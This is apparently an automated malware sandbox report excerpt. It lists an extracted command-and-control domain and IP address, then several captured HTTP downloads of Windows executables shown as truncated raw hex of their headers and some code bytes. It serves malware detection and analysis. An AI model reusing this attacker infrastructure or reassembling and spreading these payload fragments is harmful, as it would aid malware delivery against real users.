Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:09 GMTContent-Type: application/octet-streamContent-Length: 1884672Last-Modified: Mon, 16 Dec 2024 13:43:45 GMTConnection: keep-aliveETag: "67602e91-1cc200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 b2 90 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 76 78 7a 6a 72 67 61 00 40 1a 00 00 40 30 00 00 3c 1a 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 67 66 6e 6f 75 72 63 00 10 00 00 00 80 4a 00 00 04 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4a 00 00 22 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:18 GMTContent-Type: application/octet-streamContent-Length: 1796608Last-Modified: Mon, 16 Dec 2024 13:43:52 GMTConnection: keep-aliveETag: "67602e98-1b6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 7a 61 61 7a 79 65 61 00 d0 19 00 00 40 4f 00 00 c6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 77 75 69 74 73 72 00 10 00 00 00 10 69 00 00 04 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 48 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:27 GMTContent-Type: application/octet-streamContent-Length: 965632Last-Modified: Mon, 16 Dec 2024 13:41:50 GMTConnection: keep-aliveETag: "67602e1e-ebc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0f 2e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 0c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 ef 1e 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 04 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 04 50 01 00 00 40 0d 00 00 52 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 46 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 14:02:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:34 GMTContent-Type: application/octet-streamContent-Length: 2776576Last-Modified: Mon, 16 Dec 2024 13:42:18 GMTConnection: keep-aliveETag: "67602e3a-2a5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6f 67 72 70 74 77 67 00 00 2a 00 00 a0 00 00 00 fe 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6c 6c 62 66 73 70 00 20 00 00 00 a0 2a 00 00 04 00 00 00 38 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:40 GMTContent-Type: application/octet-streamContent-Length: 2776576Last-Modified: Mon, 16 Dec 2024 13:42:20 GMTConnection: keep-aliveETag: "67602e3c-2a5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6f 67 72 70 74 77 67 00 00 2a 00 00 a0 00 00 00 fe 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6c 6c 62 66 73 70 00 20 00 00 00 a0 2a 00 00 04 00 00 00 38 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:44 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
